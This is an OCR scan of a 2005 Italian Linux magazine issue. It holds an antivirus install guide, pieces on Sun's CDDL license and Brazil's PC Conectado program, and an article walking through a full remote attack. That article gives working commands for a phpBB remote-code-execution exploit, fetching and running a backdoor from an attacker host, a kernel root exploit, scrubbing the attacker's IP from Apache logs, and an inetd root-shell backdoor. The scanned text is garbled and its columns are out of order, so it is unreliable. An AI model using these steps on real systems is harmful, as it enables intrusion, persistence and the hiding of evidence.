rpm -Uvh fp-linux-ws-4.5.3-1.1386.rpm 


A questo punto aggiorniamo le definizioni antivirus con 


ceo. 
0000 


8828 Giugno 2005 


/usr/local/f-prot/tools/check-updates.p] 


CLAM ANTIVIRUS - ClamAV è rilasciato per diverse piattafor- 
me Unix sotto licenza GPL. Attualmente viene utilizzato in Italia 
da aziende del calibro di Aruba, Register.it, HTML.it ed Atenei 
pubblici come l’Università degli studi di Verona ed il Diparti- 
mento di Matematica ed Applicazioni dell’Università degli studi 
di Palermo. 

Tra le potenzialità: 


AGGIORNIAMO MAILSCANNER 


Con l'uscita di una nuova release di MailScanner potrebbe sor- 
gere la necessità effettuare un aggiornamento del sistema di 
protezione. Prima di procedere all'aggiornamento è sempre 
consigliato effettuare un backup dei file di configurazione (/etc 
/MailScanner]). L'aggiornamento di per se non è traumatico. Ba- 
sta utilizzare l'ultima versione del software e procedere re- 
golarmente all’installazione (come spiegato nel corso dell'arti- 
colo). A questo punto basta eseguire upgrade_MailScanner_ 
conf. Seguiamo le istruzioni ricordando che la nostra installa- 
zione parte dalla versione RPM e dopo qualche minuto ci ritro- 
veremo con MailScanner aggiornato in modo indolore. 


e riconoscimento macrovirus di Microsoft Word per Windows e 
per Macintosh; 
e scansione di file compressi; 


* Zip; 

e RAR (200); 
e Tar; 

e Gzip; 

e Bzip2; 

e MSOLE2; 


e MS Cabinet Files; 
e MS CHM (Compiled HTML); 
e MSSZDD compression format. 


Prima di scaricare l’ultima versione di ClamAV occorre scaricare 
le librerie zlib. Queste librerie cross-platform vengono utilizzate 
da molti programmi per comprimere e decomprimere file. 
Tramite wger scarichiamo le librerie zlib: 


wget http://www.zlib.net/zlib-1.2.2.tar.gz 


e, una volta completato il download, digitiamo: 


ta 29707 Za 


In questo modo verrà “unzippato” il file compresso. L'ultimo 
passo è l’installazione di z/ib con i classici: 


./configure 


PROBLEMI NOTI CON FEDORA 


Occorre fare una precisazione per gli utenti che utilizzano Fe- 
dora. Questa utilizza una tecnologia particolare chiamata “pre- 
link”. Questa tecnologia permette di ridurre i tempi di carica- 
mento dei programmi ed è abilitato di default. Questo causa un 
conflitto con H+BEDV Antivir. Occorre, pertanto, aggiungere nel 
file prelink.conf nella directory /etc la riga: 


-b /usr/lib/AntiVir/antivir 


Occorre ricordarsi, altresì, di effettuare la registrazione al link 
www.hbedv.com/en/support/unix_private_registration/index. html 
per potere effettuare l'aggiornamento automatico delle defini- 
zioni antivirus. A questo punto verrà inviato il file hbedv.key al- 
l'indirizzo di posta indicato durante la registrazione. Copiando 
questo file nella directory /usr/lib /AntiVir si potrà effettuare 
l'aggiornamento per i 365 giorni successivi alla registrazione. 
H+BEDV permette l'aggiornamento nel caso di utilizzo dell'an- 
tivirus per scopi riservati e non commerciali. Per aggiornarlo 
basta accedere alla directory /usr/lib/Antivir (cd /usr/lib/Anti- 
Vir) e digitare: 


.Jantivir --update 


e lanciamo i classici comandi di installazione del software sotto linux: 


./configure 


make make 
make install make install 
make clean make clean 


Procediamo con il download dell’ultima versione del software 
antivirus (attualmente è la 0.83) ... 


wget http://mesh.dl.sourceforge.net/sourceforge 
/clamav/clamav-0.83.tar.gz 


Una volta completato il download digitiamo: 


tar -zxvf clamav-0.83.tar.gz 


in modo da decomprimere il file compresso. Verrà creata la di- 
rectory clamav-0.83 all’interno della directory /roo/MailScanner. 
Prima di procedere all’installazione occorre creare un nuovo 
gruppo di utenti con il comando: 


groupadd clamav 


e inserire l’utente “clamav” con il comando: 


useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav 


Successivamente entriamo nella directory con il comando: 


cd clamav-0.83 


Editiamo il file clamav.conf ed il file freshclam.conf nella directory 
/usr/local/ete e commentiamo il rigo in cui appare la parola “Exam- 
ple” (come indicato nel file stesso). L'installazione è completata 
!!! Aggiorniamo ora le definizioni antivirus con il comando: 


freshclam. 


Roberto Pennolino 
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L] Rete 


ualsiasi attacco a un sistema remo- 


to, inizia dalla raccolta di infor- 

mazioni (Information gathering) 

dettagliate che potranno tornare 
utili successivamente. È importante sape- 
re a chi “appartiene” la macchina, dove 
risiede, quale sistema operativo usa, se ha 
cambiato IP di recente e tutto quanto è 
possibile estrapolare. Questa è la fase più 
importante, perchè più approfondite 
saranno le nostre conoscenze, più saremo 
in grado di procedere. Con un po’ di pra- 
tica otterremo tutto ciò di cui abbiamo 
bisogno in poco tempo... Ma vediamo subito cosa fare. 
Le prime informazioni possiamo ottenerle dal dominio, nel corso 
dell’articolo, per motivi di privacy, ne utilizzeremo uno fittizio. 
Dai nomi di dominio saremo in grado di ottenere molte informa- 
zioni; tali nomi vengono infatti registrati presso opportune auto- 
rità che ne conservano tutti i dati. Perciò utilizzeremo un sempli- 
ce programma per effettuare una richiesta al database e scoprire 
a chi appartiene questo dominio: whois (se non lo avete già 
installato, potete prelevarlo da qui: www.linux.it/-md/software), 
che in automatico mostrerà tutte le informazioni disponibili. 
Ecco il comando e il risultato ottenuto: 


whois www.dominio.com 
Registrant: 
Pippo Pippo 
P.0. Box 3043 
Berkeley, California 94703 
United States 


Registered through: registro.com 
Domain Name: WWW.DOMINIO.COM 
Created on: 05-Dec-03 
Expires on: 05-Dec-05 


ceo. 
ceo 
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ANALIS 
DI UN ATTAGCO 
REMOT 


Se è vero che 

la migliore difesa 

è l'attacco, seguiteci 
Vivremo in prima 
persona le diverse fasi 
dalla raccolta 

di informazioni 
all'accesso come 
utente root, fino 
all'installazione 

di una backdoor 


Last Updated on: 05-Dec-04 


Administrative Contact: 

Pippo, Pippo 
pippo@altrodominio.com 

Work Enterprise 
Po05 Box iii 
Berkeley, California 25647 
United States 
(894) 987-7412 


(Fene s= 


Tra tutte le informazioni, guardando in 
basso, vedremo il nome di chi ha registra- 
to tale dominio (Pippo Pippo), il suo indirizzo, il sito tramite cui 
è stata effettuata la registrazione del nome (www.dominio.com), 
la data di scadenza ed anche la sua email. Ora sappiamo a chi 
appartiene il sito, ma possiamo fare in modo di sapere qualcosa 
di più, ad esempio quale browser viene utilizzato e se è stato 
aggiornato di recente oppure no. 

Portare a termine questo compito è piuttosto semplice, utilizze- 
remo netcraft.com, un sito che effettua uno scanning dei vari 
nomi e registra in un database l’IP, il browser e altre informazio- 
ni utili per farci un’idea della macchina. Puntiamo il nostro brow- 
ser su netcraft.com, nel box in alto a sinistra, inseriamo il nome 
da controllare e premiamo Invio. Otterremo qualcosa di simile a 
quanto appare in Figura 1. La macchina utilizza Apache con 
PHP, mentre, come sistema operativo utilizza Linux; il suo indi- 
rizzo IP (Internet Protocol) non è stato cambiato recentemente e 
si trova in California. 


Whats that site running? | Wninwdominio com 


0S, Web Server and Hosting History forwww.dominio.com 


httpi//www.dominio.com was running Apache on Linux when last queried at 17-Feb-2005 14:05:17 GMT Site Report 
Try out the Netcraft Toolbar! 


os Server 
Linux Apache/1,3,26 (Unix) PHP/4,2,2 


FAQ 


IP address Netblock Owner 
192.168.12 Brunching 


Last changed 
17-Feb-2005 


I Fig. 1 »- Le informazioni fornite da Netcraft sul dominio che 
abbiamo inserito 


SCANSIONE DELLE PORTE 


Ora che abbiamo una prima idea della situazione, entriamo nei 
dettagli e scopriamo cosa potrà tornare utile ai fini di un attacco 
(per ovvi motivi legali, tutti gli attacchi che vedrete d’ora in poi 
saranno effettuati su una macchina locale). Utilizzeremo un tool 
di scanning piuttosto famoso: Nmap, sicuramente uno tra i 
migliori scanner di porte oggi disponibili. Effettueremo un syn- 
scan (piu’ veloce e meno “rumoroso” di uno scan classico) sulle 
porte piu’ utilizzate, chiedendo a nmap di scoprire il sistema ope- 
rativo in uso: 


miao =SS #0 HF 18216910) 


sS - effettua un Syn-scan; 
O - cerca di indovinare il sistema operativo; 
F - fai lo scan sulle porte piu’ utilizzate. 


Ovviamente dovrete sostituire l’IP con quello della macchina da 
studiare, nel caso dell’esempio ecco il risultato: 


Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) 

Interesting ports on 192.168.1.4: 

PORT STATE SERVICE 

22/tcp open ssh 

80/tcp open http 

Device type: general purpose 

Running: Linux 2.4.X|2.5.X|2.6.X 

0S decaiiss Limubi 25:25 = 2,03 ore Ganoo 1,2 [Lim 
2019) rellere)). Lim: 26,3 = 2.6,8 


Le porte aperte sono soltanto due, quella sulla quale gira SSH e 
quella del server web (80/tcp open http), il sistema operativo è 
proprio Linux e pertanto è possibile provare ad ottenere un 
accesso alla macchina. 


Nmap Front Endwy3.50 


File View 
Target(s): [172.16.0.101 Scan Exit 


Scan | Discover | Timing | Files | Options | 
Scan Type 


rScanned Ports 


Connect Scan si Default i 


e 


rScan Extensions 


4RPC Scan _ildentd Info _j 4 Version Probe 


Starting nmap 3,50 ( http://www.insecure,org/nnap/ ) at 2005-04-07 14:55 UTC 
Interesting ports on damonhost ,edmaster.it (172,16,0,101): 
{The 1656 ports scanned but not shoun below are in state: closed) 


I6000/tcp open X11 


Nmap run completed -- 1 IP address {1 host up) scanned in 0,437 seconds 


Command: fnmap -sT -PT 172.16.0.101 


I Fig. 2 è Esempio di utilizzo del front-end grafico Nmapfe 


IL MOMENTO DELL'ATTACCO 


Cerchiamo di scoprire quale è la versione di ssh utilizzata: 


telnet 192.168.1.4 22 
Termine; 192.163,14 co 
Connected to 192.168.1.4. 
Escape character is '*]'. 
SSH-2.0-OpenSSH_3.9p1l 


A quanto pare è abbastanza aggiornata. Una rapida ricerca sul 
web non riporta nessuna vulnerabilità pubblica che possiamo 
sfruttare, dovremo quindi ripiegare sul server web e vedere se 
per caso è presente qualche servizio vulnerabile, o dal quale si 
possa ottenere in qualche modo accesso alla macchina. Puntiamo 
allora il nostro browser su http://192.168.1.4 (un indirizzo della 
LAN nella quale è stato effettuato il test) il sito è stato realizza- 
to con PhpBB; e guardando il footer della pagina troviamo una 
cosa interessante (Figura 3). PhpBB, per chi non lo sapesse, è uno 


(1) No new posts @ Forum is locked 


Powered by phpBB 2,0,10 @ 2001, 2002 phpBB Group 


() New posts 


NN Fig. 3 »- La versione di PhpBB in uso su questo server è affetta da 
una grave vulnerabilità che consente ad un aggressore di eseguire 
codice sulla macchina tramite una semplice query fatta da browser 


dei forum più utilizzati sulla rete, le versioni < 2.0.11 sono tutte 
affette da una grave vulnerabilità che consente ad un aggressore 
di eseguire codice sulla macchina tramite una semplice query 
fatta da browser. PhpBB è in grado di fare l’highlight delle paro- 
le. Nelle vecchie release non veniva controllato a dovere il para- 
metro che indicava la parola da evidenziare, pertanto era possi- 
bile eseguire del codice (tramite una string appositamente for- 
mattata) sulla macchina remota. Troverete allegato un file 
“phpbb_exploit.php” che potrà essere utile come esempio, quin- 
di copiamolo dal CD-DVD (-/software/_listati/Attacco 
_Remoto) e proviamo ad avviarlo (richiede php e le libcurl): 


$ chmod 755 phpbb _exploit.php 
$ ./phpbb_exploit 
Usage: ./phpbb_exploit.php <URL> 


<command> [topic id] 
[proxy] 


WHOIS 


Il client whois che abbiamo utilizzato è un tool (italiano) che, 
tramite opportune query ai database dei nomi, ci consente di 
ottenere tutte le informazioni che vogliamo su un determinato 
dominio. L'installazione richiede davvero pochissimi secondi: 


$ wget http://ftp.debian.org/debian/pool/main/w/whois/ 
whois_4.7.0.tar.gz 

$ tar xzf whois_4.7.0.tar.gz 

$ cd whois_4.7.0 

# make && make install 
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URL. URL to phpnBB site (ex: http://127.0.0.1/html]) 


command command to execute on server (ex: 
“is sla) 
topic_id topic id 
proxy optional proxy url (ex: 


http://10.10.10.10:8080) 


L'utilizzo non presenta nessuna difficoltà, questo exploit non fa 
altro che creare per noi la stringa che verrà eseguita sul server. 
L'unica cosa richiesta è un ropic_id valido, questo numero potete 
tentare di indovinarlo (provando ad esempio 10, 11, 12... in poco 
tempo dovreste trovarne uno valido), oppure potete semplice- 
mente passare il mouse su un qualunque topic all’interno del 
forum (Figura 4): 


http://192,168.1 4/viewtopic.phpBIBMI&.sid=43148232156b136fdb627b9325e99179 


I Fig. 4 è La parte evidenziata è il topic ID di cui abbiamo bisogno 

Il parametro “1=86” significa “fopic_id = 86” ed il numero “86” è 
quello che useremo per vedere se il nostro exploit funziona (il 
vostro molto probabilmente sarà diverso ma non importa, qua- 
lunque topic_id va bene). Possiamo ora testare il nostro exploit: 


$ ./phpbb_ exploit http://192.168.1.4 ‘1s -la’ 86 
total 382 drwxr-xr-x 10 apache apache 752 Nov 29 


2. compilazione della backdoor tramite gcc; 
3. rimozione del sorgente... per eliminare le tracce; 
4. avvio in background della backdoor. 


Se al primo tentativo non dovesse funzionare, provate a cambia- 
re i path da /usr/bin a /usr/local/bin. A questo punto utilizziamo 
telnet sulla porta 12666 della nostra macchina, dovremmo tro- 
varci una shell: 


$ telnet 192.168.1.4 12666 
Trame) 1921691 odo 
Connected to 192.168.1.4. 
Escape character is '*]'. 
Please enter each command followed by ';" 
Ss 
admin 
cache 
common .php 
config.php 


66,99 


Ricordate di terminare con “;” ogni comando, non è sicuramen- 
te il massimo del comfort ma almeno abbiamo una shell su cui 
agire. Vediamo quindi quali permessi ha l’utente che abbiamo 
appena sfruttato: 


i; 


16:46. drwxr-xr-x 5 apache apache 184 Jan 28 15:49 
. drwxr-xr-x 2 apache apache 776 Nov 29 17:55 admin 
drwxr-xr-x 2 apache apache 112 Jul 10 2004 cache - 


RW 1 apache apache 6421 Nov 18 21:02 


common.php 


È evidente che l’output non è formattato, ma non importa, è suf- 
ficiente sapere che l’exploit funziona. Adesso però rendiamoci la 
vita più semplice e installiamo una piccola backdoor che useremo 
per dare comandi, piuttosto che fare tutto tramite phpBB (me- 
todo alquanto rumoroso perchè riempie in fretta i log). Il file 
blackhole.c, è una piccola e semplice backdoor che attacca una 
shell ad una porta della macchina, potete configurarla a piacere 
per scegliere la porta, e per scegliere il nome del processo che 
vedrete facendo “ps aux”. La backdoor è configurata per bindar- 
si sulla porta 12666 e apparire come “/sbin/agetty 38400 tty1 linux” 
se si esegue il comando ps. A questo punto dobbiamo trasferirla 
sul server sottoposto all’attacco. 

Creiamo un account free su un qualunque server (anche locale) 
e uploadiamo il file blackhole.c, poi procediamo di nuovo con 
l’exploit, in questa maniera: 


$ ./phpbb_exploit http://192.168.1.4 ‘/usr/bin/wget 
http://indirizzo-dove-risiede- 
la-backdoor.com/blackhole.c ; /usr/bin/gcc blackhole. 
c -0 blackhole && rm blackhole.c ; ./blackhole &' 86 


Analizziamo in dettaglio cosa abbiamo fatto: 
1. wget del file blackhole.c dal nostro spazio free; 


ceo. 
DIL) 
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uid=81(apache) gid=81(apache) 


Con questo uid non è possibile andare oltre, perciò... 


NMAP 


Nmap è l'acronimo di Network Mapper. Da anni è il miglior 
portscanner reperibile. Grazie alla dedizione di Fyodor questo 
programma è diventato un tool di mapping sempre più comple- 
to. Con le attuali versioni è possibile effettuare moltissimi tipi 
di scanning, il suo vasto database di signatures consente al 
programma di riconoscere il sistema operativo di quasi ogni 
server e, grazie alla sua flessibilità, è diventato un tool eccel- 
lente per ottenere informazioni su una macchina... 

Senza essere notati. 


OTTENERE | PRIVILEGI DI ROOT 


Non siamo root, ma dobbiamo trovare un modo per diventarlo. 
La via più rapida è vedere quale kernel utilizza la macchina e 
sperare di trovare una versione con qualche bug, ipotesi tutt’al- 
tro che remota visto che nel solo mese scorso sono stati pubbli- 
cati 15 kernel bug nella serie 2.6, potenzialmente utili allo scopo. 


(CVE version: 20040901 


Description 
Race condition in the page fault handier (fault.c) for Linux kernel 2.2.x to 2.2.7, 2.4 to 2.4.29, and 
oi (2-6 to 2.6.10, when running on multiprocessor machines, allows local users to execute arbitrary code 
via concurrent threads that share the same virtual memory space and simultaneousiy request stack 


expansion, 


I Fig. 5 è La prima entry che otteniamo contiene la descrizione di 
un kernel bug, ma non è adatta al caso in esame 


IL KERNEL E I BUG 


IL kernel è il cuore di un sistema operativo, è il programma che 
gestisce l'intera macchina fin nei minimi dettagli, e per assol- 
vere a questo compito deve disporre dei privilegi più elevati. 

È proprio per questo motivo che un bug nel kernel risulta 


molto pericoloso, sfruttandolo si può, non solo mandare in 
crash l'intero sistema, ma anche bypassare, con estrema faci- 
lità, sistemi di protezione dei privilegi (RSBAC, GrSec, Selinux) 
concepiti per rendere le macchine quasi invulnerabili a tutte le 
insidie che provengono dall'user-space. 


uname -a; 
Linux server 2.6.10 #5 SMP Tue Apr 8 11:39:52 CEST 
2005 i686 unknown unknown GNU/Linux 


Il kernel non è vecchio tuttavia, ci sono molte potenziali falle 
che possiamo sfruttare. Per averne una lista puntiamo il nostro 
browser su hffp://cve.mitre.org/cve e nel box keyword scriviamo: 
linux 2.6.10 smp. Il bug mostrato (che a ben guardare è anche il 
primo bug del 2005) sembra proprio adatto allo scopo, ne sono 
affetti i sistemi SMP con kernel fino al 2.6.10 e consente ad un 
utente locale di eseguire codice (con i privilegi massimi) sulla 
macchina. Cliccando sul link otteniamo una serie di reference, 
ovvero dei documenti dove si discute sulla natura del bug. 
Spulciando tra i link proposti, è facile trovare un exploit funzio- 
nante, scarichiamolo (lo trovate allegato al CD-DVD col nome 
di kernel.c) e proseguiamo. Come al solito è necessario farlo 
arrivare sulla macchina remota, quindi carichiamolo sul nostro 
server Web. Una volta fatto, possiamo scaricarlo dalla macchina 
remota, compilarlo ed eseguirlo. L’exploit per funzionare ha 
bisogno di un binario suid-root (di default utilizza il ping), nel 
sorgente il path è settato a “/bin/ping”, ma se sulla macchina su 
cui state facendo le prove si trova in una posizione differente, 
allora modificate il #define SUID “/bin/ping”, comunque anche 
un altro binario suid-root andrà bene. Se non dovesse funziona- 
re al primo tentativo, continuate a provare, l’exploit deve “vin- 
cere” letteralmente una race condition, e questo non è detto che 
accada al primo tentativo. 


wget http://indirizzo-dello-spazio- 
free.com/kernel.c ; 


gcc kernel.c -o kernel && rm kernel.c ; 


.Jkernel ; 


[+] in thread 1 (pid = 5890) 


[+] in thread 2 (pid = 5891) 


[+] rdtsc calibration: 26748 


[+] exploiting race, wait... 


[+] race won (shift: 1349) 


Tic 


uid=0(root) gid=0(root) groups=0(root) 


Se l’exploit funziona subito, significa che abbiamo acquisito i pri- 
vilegi di root, non ci resta che cancellare le tracce. 


CANCELLIAMO LE TRACCE: 
SYSTEM CLEANING 


Iniziamo col cancellare il binario della backdoor e del nostro 
exploit: 


rm kernel ; 
rm blackhole ; 


Non è necessario pulire i log di sistema perchè non essendoci log- 
gati realmente, le nostre tracce non saranno presenti, ma i log di 
Apache saranno pieni dei tentativi effettuati, quindi vanno can- 
cellate. 

La tecnica utilizzata non è elegante, ma possiamo accontentarci, 
perciò identifichiamo il demone di logging che è in uso sulla mac- 
china: 


ps aux | grep -i syslog ; 
root VISA OMO RIO OI RIOT6 


880% Ss 19:27 
0:00 /usr/sbin/syslog-ng 


Questa macchina non usa il syslogd standard ma il syslog-ng (ng 
sta per next generation), cerchiamo quindi il file di configurazio- 
ne che è: syslog-ng.conf 


find /etc -iname “syslog-ng.conf” ; 
/etc/syslog-ng/syslog-ng.conf 


Adesso è necessario scoprire la directory dove vengono tenuti i 
vari log, possiamo semplicemente fare un grep su “destination” 
che è la direttiva utilizzata da syslog-ng per indicare al demone 
dove scrivere i log, quindi: 


grep "destination " /etc/syslog-ng/syslog- 
ng.conf ; 
destination authlog { file("/var/log/auth.log"); }; 
destination syslog { file("/var/log/syslog"); }; 
destination user { file("/var/log/user.log"); }; 
destination messages { file("/var/log/messages"); }; 


I log di sistema sono tutti all’interno di /war/log. Vediamo se i log 
di apache si trovano anche in questa directory, dove generalmen- 
te sono conservati i log di quasi tutte le applicazioni: 


@a"_—ee_ _'__ == a «=«—««—->-—_«-TyT:5: 
BACKDOOR 
La “leggenda” vuole che ogni bravo amministratore abbia una 
backdoor sul proprio server per poterci rientrare quando altri 
danneggiano il sistema. 
Una backdoor è infatti un programma che consente, a chi lo 
conosce (per questo: backdoor -+ porta sul retro), di poter 
entrare su una macchina senza esser visto. Ne esistono di 
vari tipi: quelle che sfruttano la “confusione” per nascondersi 
(come nell'esempio), altre che modificano tutti i binari per na- 
scondere la presenza dell'intruso, ed altre ancora che sfrutta- 
no il kernel per rendere totalmente invisibile l'aggressore, 
senza toccare un bit del filesystem. 
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VERIFICARE LA SICUREZZA DEL SISTEMA 


Tra gli strumenti Open Source per controllare il livello di vulne- 
rabilità di un sistema, Nessus è probabilmente il più completo 
ed evoluto. Il software è dotato di 
una struttura modulare, espandibile 
attraverso l'uso di plug-in, che con- 
sente di individuare facilmente vul- 
nerabilità anche recenti. 


È 


f 


eredefeibetite 


Sito ufficiale: www.nessus.org 


ls -1 /var/log/apache* ; 


-rw-r--r-- 1 root root 1616976 Feb 18 21:20 access_log 


esempio (il primo parametro è la porta su cui verrà bindata la shell): 


echo “stream tcp nowait root /bin/sh -i” >> 
/etc/inetd.conf ; 


killall -HUP inetd ; 


“1” 
«1 


Non dimenticate il parametro che serve ad avviare la shell in 
modalità interattiva, il “killall -HUP” serve a dire ad inetd di 
rileggere il file di configurazione. Possiamo quindi uccidere la 
shell che abbiamo utilizzato fino ad adesso: 


ps aux | grep "/sbin/agetty 38400 ttyl linux" ; 
apache 7733 0.0 0.1 152 68 ttyl Ss+ Feb18 0:00 
/sbin/agetty 38400 ttyl linux 


“rw-r--r-- 1 root root 169224 Feb 18 21:14 error_log 


A questo punto possiamo fare un grep massivo alla ricerca del 
nostro IP. Come anticipato non è stato molto elegante, ma questo 
è ciò che è possibile fare senza introdurre tecniche più complesse: 


grep -ri “192.168.1.23” /var/log/apache2 ; 


Mail 9 7788 
Connection closed by foreign host. 


Testiamo la nuova backdoor: 


$ telnet 192.168.1.4 18511 
Tyne 192:169,13400 


/var/log/apache2/access_log:192..1.23 - - 
[19/Feb/2005:00:05:37 +0100] "GET 


Connected to 192.168.1.4. 
Escape character is "4]'. 


/viewtopic.php?t=89&highlight=%2527%252esystem(chr(108) 
%252echr(115)%252echr(32)%252echr(45)%252echr(108)%252e 
Cir(07) Eee 827 FIA I SO 5 Me ala 


Se tutto è andato come dovrebbe, allora saranno presenti delle 
occorrenze soltanto nei log di Apache. Pulirli sarà piuttosto sem- 
plice, ma è necessario fermare il demone; una procedura poco 
indicata sulle macchine che producono molto traffico, anche per- 
chè nei log potrebbe essere visibile la traccia di un riavvio del 
server web. In genere Apache può essere avviato/fermato trami- 
te il suo apposito script (apachectl) oppure tramite gli script di 
init, dal momento che il secondo metodo varia da distribuzione a 
distribuzione, cercheremo di usare il primo, sperando che lo 
script non sia stato rimosso: 


apachect] stop ; 
grep -v “192.168.1.23” /var/log/apache/access_log > 
/tmp/l.tmp ; 


mv /tmp/l.tmp /var/log/apache/access_log ; 
chown root:root /var/log/apache/access_log ; 
chmod 644 /var/log/access_log ; 

apachect] start ; 


Come prima cosa abbiamo fermato Apache, abbiamo greppato dal 
log tutte le occorrenze che non contengono il nostro IP e le abbia- 
mo inserite dentro /tmp/I.tmp, abbiamo sostituito il vecchio 
access_log con il nostro file filtrato, abbiamo sistemato i permessi 
sul file e quindi riavviato Apache. A questo punto il sistema è libe- 
ro, ma ci serve una backdoor per tornare sulla macchina, una delle 
tecniche più semplici consiste nell’aggiungere una riga 
all’inetd.conf. Con questa piccola modifica inerd eseguirà una shell 
root su una porta che generalmente non viene usata. Vediamo un 
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bash-2.05# id 
uid=0(root) gid=0(root) groups=0(root) 


Anche in questo caso non troveremo nulla nei log di sistema. 
Tuttavia questo genere di backdoor non è invisibile (saremo comun- 
que visibili nel ps o al netstat) ed esistono tecniche molto più avan- 
zate per nascondere la nostra presenza... E quella delle backdoor. 


CONCLUSIONI 


Quanto abbiamo appena visto è una panoramica generale sugli 
attacchi remoti. In questo caso si è operato su una macchina 
senza un particolare tipo di protezione e abbiamo utilizzato 
exploit già creati su vulnerabilità note. In altri casi, l’eventuale 
aggressore cerca di scovare vulnerabilità nuove e quindi sviluppa 
appositi exploit, nasconde il traffico e successivamente elimina le 
tracce della sua presenza dall’intero sistema, facendo uso di tec- 
niche più raffinate di quelle utilizzate nell'esempio. Provate a 
mettere in pratica sul server di casa quanto appreso, scoprirete 
che a volte le nostre macchine sono molto meno sicure di quan- 
to si possa pensare. 

Alberto Pelliccione 


AVVERTENZA 


Gli esempi riportati nel corso dell'articolo, servono solo ed 
esclusivamente per scopi dimostrativi, per conoscere e com- 
prendere meglio i pericoli di un attacco remoto e gli effetti pro- 


vocati. Vale sempre il saggio “la miglior difesa è l'attacco”. 
Aggiornate costantemente il vostro sistema e soprattuto non 
provate ad usare questi strumenti al di fuori della vostra LAN 
domestica o correte il rischio di pesanti sanzioni legali. 


Sun, è tempo 
di aprire Solaris 


BI Messa in ombra da GNU/Linux, cerca la riscossa nell'Open Source 


tempi di approvazione sono stati piuttosto rapidi e, da 

qualche tempo, il mondo del software Open Source si ar- 

ricchisce di un nuovo gioiello. Sun alla fine del 2004 aveva 

sottoposto all'organizzazione non profit Open Source Ini- 
tiative una nuova licenza: la Community Development and Di- 
stribution License (CDDL) con cui rilasciare Solaris. | tempi di 
approvazione sono stati piuttosto rapidi e con l'inizio del 2005 
ha preso il via una rivoluzione per l'azienda che produce il siste- 
ma operativo derivato da Unix, finora proprietario. La motiva- 
zione è esplicita: tentare il bis di StarOffice, padre morale della 
suite di office automation OpenOffice.org, rilasciando in moda- 
lità Open Source anche il suo software di punta. A ben guarda- 
re, le ragioni di questo nuovo passo sono di pura convenienza. 
Per Sun, infatti, si è trattato di una scelta obbligata. Da un lato, 
l'opzione era quella dell'asserragliamento in una trincea com- 
merciale da cui difendere le quote di mercato sempre più risi- 
cate di Solaris, ormai sotto l'incalzante e inarrestabile assedio 
di Linux. Dall'altro rinunciare le vecchie politiche di licensing, 
ricorrere a un radicale cambiamento di impostazione e politica 
di rilascio e puntare alla costruzione di una comunità di svilup- 
po e manutenzione attorno al sistema. Insomma, muoversi se- 
condo i canoni del software libero. Le mosse per recuperare 
una situazione di crisi per il sistema operativo di Sun erano 
d'altronde iniziate prima dei contatti avviati con la Open Source 
Initiative. Infatti, dopo aver ristabilito un proprio equilibrio finan- 
ziario messo in discussione da qualche inciampo del passato, 
la società aveva deciso di estendere il numero di piattaforme 
hardware su cui Solaris potesse girare e aveva avviato dunque 
anche il porting del sistema operativo su processori x86 e com- 
patibili, tra cui lo Xeon di Intel e l'Opteron di AMD. Ma questa 
mossa non è stata sufficiente a far riprendere fiato progetto. 
Che fare, quindi? 


RAGIONI E CARATTERISTICHE 
DI UNA LICENZA 


Guardandosi in giro, si sono resi conto che la soluzione al pro- 
blema poteva arrivare dalla comunità Open Source, prendendo 
come esempio il trionfo indiscutibile di GNU/Linux tutelato dal- 
la General Public License del Progetto GNU. La strada deve es- 
sere quella, hanno pensato a Sun, e la direzione deve ricalcare 
il modello di riferimento per milioni di sviluppatori in tutto il 


mondo. Con qualche correzione. Per esempio la condivisione 
del codice tra materiale rilasciato sotto GNU/GPL e CDDL non 
è ideale anche perché non ci sarebbero comuni basi tecniche 
su cui lavorare tra le due comunità di sviluppo. Passando all'a- 
nalisi della licenza, il primissimo elemento prevede l'obbligo 
della disponibilità del sorgente: non si può infatti rilasciare al- 
cun eseguibile senza che esso sia corredato dal codice. Inoltre 
si vede che la licenza è uno strumento di tipo copyleft: al sotto 
paragrafo 3.1 (Availability of Source Code), contenuto all'inter- 
no degli obblighi di distribuzione, viene esplicitamente imposto 
il vincolo della licenza originale per l'intero albero del sorgente 
e per porzioni di esso. Poi chi contribuisce al progetto in termi- 
ni di software, una volta che la modifica proposta viene accet- 
tata, compare tra gli autori e gode dei benefici messi a dispo- 
sizione dal diritto d'autore assumendo il ruolo di "contributore". 
Ai partecipanti non è d'altro canto permesso rimuovere o alte- 
rare le note di copyright e informazioni relative a brevetti e mar- 
chi. Tra le libertà concesse, invece, compaiono quelle classiche 
previste sia dalle licenze di software Open Source: utilizzo, 
riproduzione, modifica, visualizzazione, esecuzione e distribu- 
zione. Concesse sia la veicolazione gratuita che a pagamento 
del software e la sua inclusione - totale o parziale - all'interno 
di progetti. 
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Common Development and Distribution License (CDDL) Information 
Updated: 2004-Jan-24 


Wa tare drafted a new open tre Mozilla Publio License, version 1.1 (MPL', called 
the Common Development al 00LI. 


N Fig. 1 » La licenza CDDL proposta da SUN e compatibile con la 
Mozzilla Public License 


CONCLUSIONI 


Volendo tirare le somme, Sun non ha inventato nulla e non è del 
resto il solo leader di mercato ad aver riconvertito i processi di 
sviluppo di prodotti propri ai canoni dell'Open Source. Ma la 
reale possibilità di avere a disposizione una comunità se non 
estesa, almeno costituita da un team competente e coeso è 
ancora tutta da verificare. 

Antonella Beccaria 
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Linux e Brasile 


MI Il progetto "PC Conectado" per l'alfabetizzazione informatica della 
popolazione, soprattutto quella meno abbiente 


umenta il numero di nazioni grandi e piccole alle pre- 
se con le potenzialità del FLOSS (Free/Libre/Open 
Source Software), sia negli apparati pubblici sia per 
progetti di più ampio respiro. Trend che va facendosi 
sempre più rampante nei Paesi in via di sviluppo. Tra i quali il 
Brasile si conferma uno dei motori trainanti, puntando su 
policy finalizzate alla creazione dello sviluppo sostenibile in 
ogni ambito della società e a far risparmiare il più possibile 
onde rilanciare l'economia locale. Nel caso del software, si 
tratta di milioni di dollari in royalty e licenze che vanno rego- 
larmente a finire nelle tasche dei produttori di pacchetti pro- 
prietari. 
Di conseguenza il presidente Luis Ignacio Lula da Silva ha av- 
viato programmi che prevedono il graduale passaggio a Linux 
dell'intera infrastruttura informatica governativa, oltre ad im- 
porre ai destinatari di sovvenzioni statali la creazione di soft- 
ware Open Source attivando le necessarie risorse in loco. 


“PC CONECTADO” 
MEGLIO LINUX 0 WINDOWS? 


Ecco perciò l'importanza di un progetto prossimo al lancio in 
Brasile, chiamato "PC Conectado": la distribuzione di milioni di 
computer, in parte sovvenzionati dal Ggoverno, a persone dal 
basso reddito. Iniziativa che per decollare deve però risolvere 
